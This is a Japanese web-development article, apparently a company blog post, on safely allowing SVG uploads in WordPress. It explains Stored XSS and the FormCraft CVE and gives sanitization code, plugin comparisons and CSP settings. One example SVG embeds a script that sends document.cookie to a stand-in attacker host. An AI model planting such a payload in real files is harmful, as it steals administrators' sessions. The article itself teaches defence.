拡大しても輪郭がぼやけず、高解像度ディスプレイでも鮮明に描画できる SVG(Scalable Vector Graphics) 。ロゴやアイコン、図解を制作するWebデザイナーや開発者にとって、SVGは現代のWebサイト制作に不可欠な画像フォーマットです。
しかし、WordPressのメディアライブラリにSVGをアップロードしようとすると、 「このファイルタイプをアップロードする権限がありません」 というエラーで拒否されます。「一般的な画像フォーマットなのに、なぜ標準で対応していないのか?」と疑問に感じた方も多いはずです。
WordPressが標準でSVGをブロックしている理由は、 「SVGは画像ではなく、XML形式で書かれた実行可能コードである」 というセキュリティ上の深刻なリスクにあります。適切なサニタイズを行わずに安易に許可すると、悪意あるJavaScriptがサーバーに保存され、管理画面や閲覧者のブラウザで不正実行される Stored XSS(蓄積型クロスサイトスクリプティング) の致命的な脆弱性を抱えることになります。
本記事では、Web制作者・開発者に向けて、 WordPressでSVGを安全に扱うための完全対策ガイド を解説します。Stored XSSの仕組みや単一プラグインの不備(FormCraftのCVE-2025-0817)から学ぶ教訓、メディアライブラリ・PHP・Ajax・REST APIの 【用途別】サニタイズ実装コード集 、主要プラグイン比較とセキュアな運用ベストプラクティスまで網羅してお届けします。
なぜWordPressは標準でSVGアップロードを禁止しているのか?
JPEGやPNGなどの一般的な画像は、画素の集合であるバイナリデータで構成されており、ファイル自体が能動的にプログラムを実行することはありません。一方、SVGは根本的に構造が異なります。WordPressコアが長年にわたりSVGのネイティブ許可を見送っている背景には、Webセキュリティにおける本質的な脅威が存在します。
SVGが「画像ファイル」ではなく「XMLベースの実行可能コード」である本質的リスク
SVGは、W3Cによって策定された XMLベースのベクター画像記述言語 です。テキストエディタで開くと、HTMLと同様のタグ構造で記述されていることが分かります。
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
<circle cx="50" cy="50" r="40" fill="#0073aa" />
</svg>
最大の問題は、SVGの仕様に JavaScriptの埋め込み、外部リソースの読み込み、CSSの適用が標準機能として含まれている点 にあります。ブラウザにとってSVGは、単なる画像ではなく 「DOMツリーとスクリプト実行機能を持つ独立したHTML文書」 と同等です。
- <script> タグの直接実行 : インラインJavaScriptを埋め込み、任意のコードを実行できる。
- インラインイベント属性 :
onloadやonerror、onmouseover等のイベントハンドラーからスクリプトを呼び出せる。 - <foreignObject> タグによるHTML注入 : SVG内部に任意のHTML要素(外部通信スクリプトやiframe等)を挿入できる。
- XML外部実体参照(XXE) : サーバー側パーサーの隙を突き、サーバー内重要ファイルの奪取やSSRFを誘発する。
このように、SVGは「画像の姿をしたコード」であるため、無防備にアップロードを許可することは 「外部から任意のプログラムをサーバーへアップロードさせること」 と同義の重大なリスクを招きます。
SVGを利用したStored XSS(蓄積型クロスサイトスクリプティング)の攻撃手口と被害実例
SVGを悪用した攻撃の中で最も凶悪なのが、 Stored XSS(蓄積型クロスサイトスクリプティング) です。攻撃者が送信した悪意あるコードがサーバー内に永続保存され、それを閲覧したユーザーのブラウザ上でスクリプトが自動実行されます。
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="300" height="300">
<circle cx="150" cy="150" r="100" fill="#e74c3c" />
<script type="text/javascript">
fetch('https://attacker.example.com/steal?cookie=' + encodeURIComponent(document.cookie));
</script>
</svg>
このファイルがWordPressサイトに保存され、管理画面でプレビューされたり、フロントエンドで直接開かれると、以下の致命的な被害が生じます。
- 管理者アカウントの乗っ取り : 管理画面でSVGを開いた管理者のCookieやセッショントークンが詐取される。
- 不正な管理者ユーザーの追加 : 実行されたスクリプトが管理者のブラウザを介してREST APIやAjaxを呼び出し、新たな管理者を作成する。
- Webシェルの設置とサイト完全改ざん : テーマファイルにバックドアコードを追記され、サーバー全体が侵害される。
- 一般訪問者の詐欺サイト転送 : 閲覧者をフィッシングサイトへ強制リダイレクトさせる。
単一プラグインの不備から学ぶ教訓(FormCraftにおけるSVG検証漏れ事例)
SVGの検証漏れが引き起こす被害の象徴例が、フォームプラグイン「FormCraft」で報告された CVE-2025-0817 です。バージョン 3.9.11 以前において、ファイル添付機能でSVGのサニタイズが行われず、 認証不要のStored XSS(CVSS 7.2 High) が成立していました。
| 項目 | 脆弱性の概要(CVE-2025-0817) |
|---|---|
| 対象プラグイン | FormCraft(Premium WordPress Form Builder) 3.9.11 以前 |
| 深刻度(CVSS v3.1) | 7.2(High) – AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| 脆弱性タイプ | Unauthenticated Stored Cross-Site Scripting(未認証・蓄積型XSS) |
| 発生原因 | 一般公開フォームからSVGアップロードが可能で、スクリプトの無害化が行われていなかった。 |
| 対応 | バージョン 3.9.12 にてパッチが適用・修正済み。 |
この事例から学ぶべき教訓は、 「拡張子やMIMEタイプの表面的なチェックだけでは、ファイル内の悪意あるスクリプトを一切遮断できない」 という事実です。WordPressでSVGを受け付ける際は、必ず多層的なサニタイズ処理を実装しなければなりません。
【用途別】WordPressでSVGを安全に扱うサニタイズ実装コード集
ここからは、WordPress開発の実務でそのまま導入できる 用途別のサニタイズ実装コード集 を解説します。メディアライブラリ・PHP・JavaScript・REST APIの各レイヤーにおけるベストプラクティスを網羅しています。
1. メディアライブラリでのMIMEタイプ許可と拡張子チェック(upload_mimes フック)
メディアライブラリでSVGを許可する際は、 upload_mimes フィルターフックを用います。重要なのは、無条件に許可するのではなく、 必ず current_user_can('manage_options') で管理者のみに限定すること です。さらに wp_check_filetype_and_ext フックを併用し、拡張子とMIMEタイプの整合性を検証します。
<?php
/**
* セキュアなSVGアップロード許可設定
* 管理者(administrator)限定でMIMEタイプを許可
*/
// 1. 管理者のみSVGのMIMEタイプを許可
add_filter('upload_mimes', function(array $mimes): array {
// 管理者権限(manage_options)がないユーザーには一切許可しない
if (! current_user_can('manage_options')) {
return $mimes;
}
$mimes['svg'] = 'image/svg+xml';
$mimes['svgz'] = 'image/svg+xml';
return $mimes;
});
// 2. アップロード時のファイル拡張子とMIMEタイプの厳格な整合性チェック
add_filter('wp_check_filetype_and_ext', function(array $data, string $file, string $filename, ?array $mimes): array {
if (! empty($data['ext']) && ! empty($data['type'])) {
return $data;
}
$filetype = wp_check_filetype($filename, $mimes);
$ext = strtolower($filetype['ext'] ?? '');
if (in_array($ext, ['svg', 'svgz'], true)) {
if (current_user_can('manage_options')) {
$data['ext'] = $ext;
$data['type'] = 'image/svg+xml';
} else {
$data['ext'] = false;
$data['type'] = false;
}
}
return $data;
}, 10, 4);
この設定により、投稿者や寄稿者などの一般権限アカウントから不正なSVGが混入するリスクを未然に防ぐことができます。
2. サーバーサイドPHPでのSVGサニタイズ処理(svg-sanitizer ライブラリ連携の実装例)
MIMEタイプの制限だけでは不十分です。アップロードされたファイル自体をサーバー側で解析し、危険なタグや属性を物理的に削除する必要があります。WordPress界隈で最も実績のあるライブラリが enshrined/svg-sanitize です。
# Composerでサニタイザーライブラリをインストール
composer require enshrined/svg-sanitize
<?php
use enshrinedsvgSanitizeSanitizer;
/**
* アップロード時にSVGファイルをサーバーサイドで自動サニタイズ
*/
add_filter('wp_handle_upload_prefilter', function(array $file): array {
$extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
if ($extension !== 'svg') {
return $file;
}
$tmp_path = $file['tmp_name'] ?? '';
if (! file_exists($tmp_path) || ! is_readable($tmp_path)) {
return $file;
}
$raw_svg = file_get_contents($tmp_path);
if ($raw_svg === false || trim($raw_svg) === '') {
$file['error'] = 'SVGファイルの内容を読み取れませんでした。';
return $file;
}
// サニタイザーの初期化と設定
$sanitizer = new Sanitizer();
$sanitizer->minify(true);
$sanitizer->removeRemoteReferences(true); // 外部参照を遮断(XXE/SSRF対策)
$clean_svg = $sanitizer->sanitize($raw_svg);
// 悪意あるコードによりサニタイズ結果が空になった場合は拒否
if ($clean_svg === false || trim($clean_svg) === '') {
$file['error'] = 'セキュリティエラー: 危険なコードが含まれているためアップロードを中止しました。';
return $file;
}
// サニタイズ後の安全なコードで一時ファイルを上書き
file_put_contents($tmp_path, $clean_svg);
return $file;
});
この処理を通すことで、万が一危険なコードを含むSVGが送信されても、 <script> タグや onload などのイベント属性が自動的に削ぎ落とされ、安全な純粋ベクターデータのみが保存されます。
3. フロントエンド・Ajaxフォーム送信時のJavaScriptサニタイズ(DOMPurify の導入手順)
フロントエンドでSVGをインライン描画したり、動的にプレビュー生成を行う場合は、ブラウザ側でのサニタイズも必要です。クライアントサイドの業界標準である DOMPurify を活用します。
<?php
/**
* DOMPurifyとフロントエンド処理スクリプトのエンキュー
*/
add_action('wp_enqueue_scripts', function(): void {
wp_enqueue_script(
'dompurify',
'https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.1.6/purify.min.js',
[],
null,
true
);
wp_enqueue_script(
'secure-svg-frontend',
get_template_directory_uri() . '/js/secure-svg-frontend.js',
['dompurify'],
null,
true
);
wp_localize_script('secure-svg-frontend', 'SvgConfig', [
'ajaxUrl' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('secure_svg_nonce'),
]);
});
/**
* DOMPurifyを用いたクライアントサイドSVGサニタイズ
*/
document.addEventListener('DOMContentLoaded', () => {
const inputField = document.getElementById('svg-raw-input');
const previewBox = document.getElementById('svg-preview-box');
if (!inputField || !previewBox) return;
inputField.addEventListener('input', (e) => {
const rawSvg = e.target.value;
// DOMPurifyでSVGプロファイルを指定してサニタイズ
const cleanSvg = DOMPurify.sanitize(rawSvg, {
USE_PROFILES: {
svg: true, // SVGタグを許可
svgFilters: true // SVGフィルター要素を許可
},
FORBID_TAGS: ['script', 'foreignObject', 'iframe'], // 危険タグを禁止
FORBID_ATTR: ['onload', 'onerror', 'onclick', 'onmouseover'] // イベント属性を禁止
});
previewBox.innerHTML = cleanSvg;
});
});
フロントエンドで事前にサニタイズを行うことで、プレビュー時のXSS事故を確実に防止できます。
4. REST APIエンドポイント経由でのSVG受付時におけるバリデーション関数
ブロックエディタのカスタムブロックや外部API連携で、WordPress REST APIを介してSVGを受け付ける場合は、 権限チェック(permission_callback)とサニタイズ(sanitize_callback)の二重防壁 を設けます。
<?php
use enshrinedsvgSanitizeSanitizer;
/**
* REST APIエンドポイントでのセキュアなSVG受信設定
*/
add_action('rest_api_init', function(): void {
register_rest_route('app/v1', '/upload-svg', [
'methods' => WP_REST_Server::CREATABLE, // POST
'callback' => 'handle_rest_svg_upload',
// 1. 権限チェック: 管理者のみアクセス可能
'permission_callback' => function(): bool {
return current_user_can('manage_options');
},
'args' => [
'svg_content' => [
'required' => true,
'type' => 'string',
// 2. バリデーションコールバック
'validate_callback' => function($param): bool|WP_Error {
if (empty(trim($param)) || stripos($param, '<svg') === false) {
return new WP_Error('invalid_svg', '正しいSVGコードを指定してください。', ['status' => 400]);
}
return true;
},
// 3. サニタイズコールバック
'sanitize_callback' => function($param): string {
$sanitizer = new Sanitizer();
$sanitizer->minify(true);
$sanitizer->removeRemoteReferences(true);
$cleaned = $sanitizer->sanitize($param);
return is_string($cleaned) ? $cleaned : '';
},
],
],
]);
});
function handle_rest_svg_upload(WP_REST_Request $request): WP_REST_Response {
$clean_svg = $request->get_param('svg_content');
if (empty($clean_svg)) {
return new WP_REST_Response([
'success' => false,
'message' => '不正なスクリプトが検出されたため処理を中断しました。',
], 422);
}
return new WP_REST_Response([
'success' => true,
'message' => '安全なSVGとして正常に受信されました。',
], 200);
}
REST APIの認証やNonceの正しい検証手順の詳細は、当ブログの「WordPress REST APIのセキュリティ完全ガイド|認証・権限チェック・Nonceの正しい実装」も併せてご確認ください。
プラグインで安全にSVGを有効化する方法とおすすめツール比較
自前でのコード実装が難しい場合や、クライアントが直感的にメディアライブラリへアップロードできるようにしたい場合は、 実績のあるSVGプラグインの導入 が確実です。ただし、サニタイザーを持たない危険なプラグインもあるため、機能と安全性を慎重に選定する必要があります。
主要SVGプラグイン比較表(Safe SVG / SVG Support 等の機能・セキュリティ比較)
| 比較項目 | Safe SVG(推奨) | SVG Support | 安易なMIME許可プラグイン |
|---|---|---|---|
| 開発元 | 10up(大手WordPressエージェンシー) | Benbodhi | 各種サードパーティ |
| 有効インストール数 | 100万+ | 100万+ | 数千〜数万 |
| サニタイズ機能 | 標準搭載(svg-sanitizer内蔵) | 設定で有効化可能 | なし(極めて危険) |
| 権限ロール制御 | Pro版で高度制御 / 無料版は標準 | 管理者限定モードあり | なし(全員許可) |
| インラインSVG変換 | なし(imgタグ描画に特化) | あり(CSS制御可能) | なし |
| セキュリティ評価 | 最高評価(業界標準) | 高(設定の適切な有効化が前提) | 非推奨(XSSの温床) |
| 推奨用途 | 一般的なWebサイト全般 | SVGの色変更やアニメを多用するサイト | 利用厳禁 |
「Safe SVG」の推奨理由と初期セキュリティ設定(権限ロールごとのアップロード制御)
最も推奨できるプラグインは 「Safe SVG」 です。アップロード時にバックグラウンドで svg-sanitizer が自動稼働し、メディアライブラリでのプレビューサムネイルも安全に生成されます。余計なスクリプトを読み込まないため、表示速度への悪影響もありません。
管理画面の「プラグイン」>「新規追加」から「Safe SVG」を検索して有効化するだけで、安全なSVGアップロード環境が即座に構築されます。
「SVG Support」でインラインSVG展開を行う場合の追加セキュリティ対策
CSSでSVGの fill を制御したいなどの理由で 「SVG Support」 を導入する場合は、以下の設定を必ず実施してください。
- 「Restrict to Administrators?」を有効化 : 管理者以外のユーザーによるSVGアップロードを完全に遮断する。
- 「Sanitize SVG on Upload?」を必ずON : アップロード時のサニタイズ処理を強制する。
- インライン展開クラスの限定 : 意図しない全置換を防ぐため、
style-svgなどの特定クラスのみに限定展開する。
実務で失敗しないためのセキュアなSVG運用ベストプラクティス
コードやプラグインの導入にとどまらず、日々の制作・運用ルールを明確に定めることが事故防止の決定打となります。実務で遵守すべき4つの運用原則をまとめました。
current_user_can(‘upload_files’) または管理者ロール限定の厳格な権限チェック
SVGのアップロード権限は、原則として 「サイト管理者(administrator)」のみ に限定してください。複数人が記事を執筆するサイトでは、外部ライターのアカウント乗っ取り等による不正ファイル混入リスクが高まります。「通常の記事画像はPNG/WebPを使用し、SVGが必要なロゴ変更等は管理者が担当する」という権限分離を徹底しましょう。
お問い合わせフォームやUGC(ユーザー投稿)でのSVGアップロード完全禁止の徹底
不特定多数が利用できる公開フォーム(問い合わせ、応募、レビュー投稿等)では、 SVGの受付を完全に禁止 してください。許可する添付ファイルの拡張子は jpg, jpeg, png, webp, pdf に厳格に限定するのがセキュリティの鉄則です。
事前にSVGOMG等の最適化ツールで不要スクリプト・メタデータを物理除去する運用ルール
IllustratorやFigmaから書き出したSVGには、作成元のメタデータや不要なコメントタグが付着しています。アップロード前に 「SVGOMG」 等の最適化ツールを通し、スクリプトの除去とファイル軽量化を事前に行うワークフローを定着させましょう。
Content Security Policy(CSP)による万が一のスクリプト不正実行抑止ヘッダー
多層防御として、サーバーの .htaccess や Nginx で Content Security Policy(CSP) ヘッダーを出力します。これにより、万が一悪意あるSVGが紛れ込んだ場合でも、ブラウザがインラインスクリプトの実行を強力に阻止します。
# .htaccess でのCSP設定例
<IfModule mod_headers.c>
Header set Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none';"
</IfModule>
まとめ:SVGの美しさとセキュリティを両立させるために
SVGは、レスポンシブWebデザインにおいて高品質な表示と高速化を実現する極めて優れた技術です。しかし、その正体が 「XMLベースの実行可能コード」 である以上、適切なセキュリティ対策なしに運用することは極めて危険です。
- MIMEタイプの追加は必ず管理者権限に限定する (
current_user_can('manage_options'))。 - サーバー側でsvg-sanitizerによる自動サニタイズを実装する 。
- プラグインを利用する場合は「Safe SVG」を選定する 。
- 公開フォームやUGCでのSVGアップロードは完全に禁止する 。
本記事の実装コードとベストプラクティスを活用し、安全で快適なWordPressサイト構築を実現してください。
セキュリティ強化のためのあわせて読みたい関連記事
- WordPress REST APIのセキュリティ完全ガイド|認証・権限チェック・Nonceの正しい実装
- 【WordPress】Nonce(ノンス)の使い方とCSRF対策完全ガイド|フォーム・Ajax・REST APIの実装コード集
- WordPressセキュリティプラグインおすすめ比較|失敗しない選び方と併用時の注意点・設定ガイド
- WordPressセキュリティ診断のやり方とおすすめ無料ツール比較|自社サイトの安全性をチェック
【無料】自社サイトのセキュリティ状態を今すぐ可視化
「自社のWordPressサイトでSVGの脆弱性や設定不備がないか心配」「プラグインやテーマに潜むセキュリティリスクを網羅的に点検したい」というWebマスター・事業責任者の方へ。
MozCheck(モズチェック) なら、URLを入力するだけでWordPressサイトのセキュリティ診断を無料・数分で即座に実行できます。危険なファイルアップロード設定や脆弱性のあるプラグインを自動検出し、わかりやすい日本語レポートで改善策をご提示します。
コメントを残す